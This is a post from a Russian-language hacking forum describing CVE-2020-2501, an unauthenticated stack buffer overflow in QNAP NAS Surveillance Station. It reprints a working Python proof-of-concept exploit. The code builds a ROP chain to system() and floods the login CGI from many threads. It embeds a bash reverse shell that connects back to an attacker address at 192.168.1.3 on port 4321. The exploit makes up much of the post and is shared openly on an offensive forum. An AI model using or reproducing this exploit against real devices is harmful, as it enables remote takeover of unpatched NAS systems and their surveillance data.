• XSS.stack #1 – первый литературный журнал от юзеров форума

Remote RCE, Qnap NAS, CVE-2020-2501

baykal

(L2) cache
Пользователь
Регистрация
16.03.2021
Сообщения
370
Реакции
839
В сети появился эксплоит для уязвимости в устройствах Qnap NAS, на которых работает система управления видеонаблюдением Surveillance Station.

Проблема связана с повреждением информации в памяти и влияет на устройства, работающие с Surveillance Station версий 5.1.5.4.2 и 5.1.5.3.2. Баг был устранен разработчиками в феврале этого года с релизом Surveillance Station версии 5.1.5.4.3 для 64-разрядных NAS на процессорах ARM и x86, а также в версии 5.1.5.3.3 для 32-разрядных NAS с процессором ARM и x86.

Уязвимость имеет идентификатор CVE-2020-2501 и представляет собой переполнение буфера стека, которым удаленные злоумышленники могут злоупотреблять для выполнения кода в уязвимой системе без аутентификации.

На этой неделе компания SSD Secure Disclosure опубликовала детали проблемы, а также PoC-эксплоит. Согласно SSD, уязвимость сосредоточена вокруг небезопасного использования данных, предоставленных пользователем. Злоумышленник может отправить специально созданный HTTP-запрос на уязвимое устройство, что приведет к переполнению буфера, используемого модулем Surveillance Station, и в итоге станет возможно выполнение произвольного кода.

PoC
Python:
import requests
import threading
from struct import *

p = lambda x: pack("<L", x)

def run(session, data):
    res = [session.post("http://192.168.1.2:8080/cgi-bin/surveillance/apis/user.cgi", data) for i in range(5000)]

def main():
    with requests.Session() as s:
                payload = "A" * 3108
                payload += p(0x74a8eb8c) # pop {r0, r4, pc}
                payload += p(0x71154e28) # heap address
                payload += "BBBB"
                payload += p(0x74a636c4 + 1) # system
            
                data = {
            "act" : "login",
            "sid" : payload,
            "slep" : "bash -i >& /dev/tcp/192.168.1.3/4321 0>&1;" * 0x5000 + "\x00" + "bash -i >& /dev/tcp/192.168.1.3/4321 0>&1;" * 0x5000,
                }

                for i in range(30):
                    t = threading.Thread(target=run, args=(s, data))
                    t.start()
                
                

if __name__ == '__main__':
    main()
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх